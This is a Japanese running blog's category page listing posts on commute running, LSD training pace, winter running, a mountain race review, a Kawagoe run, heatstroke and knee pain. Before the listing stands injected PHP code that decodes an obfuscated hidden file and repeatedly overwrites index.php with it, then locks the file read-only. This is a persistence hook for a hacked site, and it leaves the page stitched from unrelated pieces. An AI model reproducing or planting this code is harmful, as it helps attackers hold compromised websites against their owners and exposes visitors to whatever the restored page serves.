$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } ランニング | TAKUTIVITY – タクティビティ

ランニング

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帰宅ランを上手に活用して走力をアップ

皆さん、日頃のラントレお疲れ様です!今シーズンは新型コロナウィルスで東京マラソンの開催もTwitter上で物議を醸していますね。それはそれとして、普段帰宅ランはされてますか?時間が無い社会人にとって通勤時間は、トレーニングの時間を確保する...
ランニング

キロ8分?9分?LSD(Long Slow Distance)の本当のペースと効果を探る

マラソンのトレーニングの一つ、LSD(Long Slow Distance)は本当に効果があるのか?これはネット上で情報探しても今一つ正解が見いだせないトレーニング方法です。LSDへの理解を深めるために、LSDとは何か?どのような効果があるのか?また、どのようなやり方で実践すればよいのかを調べて自分なりに考えてみました。
ランニング

寒い冬でもランニングを継続できる!4つのアドバイス

11月に入り段々と気温も下がってきました。冬季のランニングはその寒さが原因で外に出るのが億劫になりがちです。ランニングは冬のスポーツと言われる通り、本来であれば冬にこそガツガツ走りたいものです。なぜなら、体温の上昇が抑えられより良い状態で長...
ロードレース

山道最速王決定戦2018の大会レビュー(大会の雰囲気やコースなど)

先日、9月8日に開催された山道最速王決定戦に参加してきました。当日は雨が降ったり止んだりで変な天候でしたが、大会そのものは楽しむことができました。13.6キロメートルを走り続けるこの大会に参加してみて、自分自身に感じた課題や他のランナーさん...
ランニング

観光気分で楽しめる川越ラン

7月の最終日曜日、浦和から川越まで片道約22km、往復約44kmの川越ランを実施。前日の関東は異例のコースを辿ると言われた台風。その影響を受け当日は時より強風が吹き、スコールのような雨も降りました。川越を経由するランニングは初めてでしたが、...
情報

熱中症まとめ – 症状と対策 –

熱中症対策は今や夏場に怠ることのできないものになりました。2018年7月、今年の暑さは本当に異常ですよね。毎日のようにニュースやワイドショーで熱中症が取り上げられています。ここ数年で特に注意喚起されている熱中症ですが、予防するには正しい知識...
ランニング

ランニングの膝の痛み対策色々

ランニングが原因の膝の痛み。ストレッチなどをはじめその対策を色々と紹介します。
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